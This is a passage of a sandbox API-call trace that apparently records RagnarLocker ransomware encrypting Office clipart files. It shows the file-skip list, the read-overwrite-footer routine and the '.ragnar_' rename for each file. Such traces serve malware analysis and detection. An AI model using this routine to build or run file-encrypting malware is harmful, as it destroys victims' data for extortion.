(pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned=".WMF" [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="autorun.inf") returned 1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="boot.ini") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="bootfont.bin") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="bootsect.bak") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="bootmgr") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="bootmgr.efi") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="desktop.ini") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="iconcache.db") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="ntldr") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="ntuser.dat") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="ntuser.ini") returned -1 [0080.139] lstrcmpiW (lpString1="BD00160_.WMF", lpString2="thumbs.db") returned -1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.139] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0080.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.140] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22516) returned 1 [0080.140] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x57eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.140] GetProcessHeap () returned 0x580000 [0080.140] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.140] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.142] VirtualAlloc (lpAddress=0x0, dwSize=0x57f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.142] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.142] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x57f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x57f4, lpOverlapped=0x0) returned 1 [0080.143] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.143] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x57f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.144] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x57f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x57f4, lpOverlapped=0x0) returned 1 [0080.144] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x57f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.144] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.144] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x57f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.144] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.144] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.144] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.144] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.144] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.144] GetProcessHeap () returned 0x580000 [0080.144] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.144] CloseHandle (hObject=0xf4) returned 1 [0080.145] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" [0080.145] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.ragnar_FD7BD9FC" [0080.145] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.145] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0080.145] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.145] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD00173_.WMF" | out: lpString1="BD00173_.WMF") returned="BD00173_.WMF" [0080.145] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned=".WMF" [0080.145] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.145] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="autorun.inf") returned 1 [0080.145] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="boot.ini") returned -1 [0080.145] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="bootfont.bin") returned -1 [0080.145] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="bootsect.bak") returned -1 [0080.145] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="bootmgr") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="bootmgr.efi") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="desktop.ini") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="iconcache.db") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="ntldr") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="ntuser.dat") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="ntuser.ini") returned -1 [0080.146] lstrcmpiW (lpString1="BD00173_.WMF", lpString2="thumbs.db") returned -1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.146] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0080.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.146] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16180) returned 1 [0080.146] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3f2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.146] GetProcessHeap () returned 0x580000 [0080.146] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.146] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.148] VirtualAlloc (lpAddress=0x0, dwSize=0x3f34, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.148] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.148] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3f34, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3f34, lpOverlapped=0x0) returned 1 [0080.149] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.150] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f34, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.150] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3f34, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3f34, lpOverlapped=0x0) returned 1 [0080.150] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f34, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.150] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.150] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.150] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.150] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.151] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.151] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.151] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.151] GetProcessHeap () returned 0x580000 [0080.151] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.151] CloseHandle (hObject=0xf4) returned 1 [0080.151] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" [0080.151] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.ragnar_FD7BD9FC" [0080.151] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.151] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0080.152] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.152] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD05119_.WMF" | out: lpString1="BD05119_.WMF") returned="BD05119_.WMF" [0080.152] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned=".WMF" [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="autorun.inf") returned 1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="boot.ini") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="bootfont.bin") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="bootsect.bak") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="bootmgr") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="bootmgr.efi") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="desktop.ini") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="iconcache.db") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="ntldr") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="ntuser.dat") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="ntuser.ini") returned -1 [0080.152] lstrcmpiW (lpString1="BD05119_.WMF", lpString2="thumbs.db") returned -1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.152] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0080.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.153] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17236) returned 1 [0080.153] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x434b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.153] GetProcessHeap () returned 0x580000 [0080.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.153] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.154] VirtualAlloc (lpAddress=0x0, dwSize=0x4354, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.154] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4354, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4354, lpOverlapped=0x0) returned 1 [0080.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.156] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4354, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.156] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4354, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4354, lpOverlapped=0x0) returned 1 [0080.156] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4354, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.156] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.156] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.156] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.156] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.156] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.156] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.156] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.156] GetProcessHeap () returned 0x580000 [0080.157] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.157] CloseHandle (hObject=0xf4) returned 1 [0080.157] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" [0080.157] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.ragnar_FD7BD9FC" [0080.157] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.157] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0080.157] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.157] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD06102_.WMF" | out: lpString1="BD06102_.WMF") returned="BD06102_.WMF" [0080.157] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned=".WMF" [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="autorun.inf") returned 1 [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="boot.ini") returned -1 [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="bootfont.bin") returned -1 [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="bootsect.bak") returned -1 [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="bootmgr") returned -1 [0080.157] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="bootmgr.efi") returned -1 [0080.158] lstrcmpiW (lpString1="BD06102_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.158] lstrcmpiW 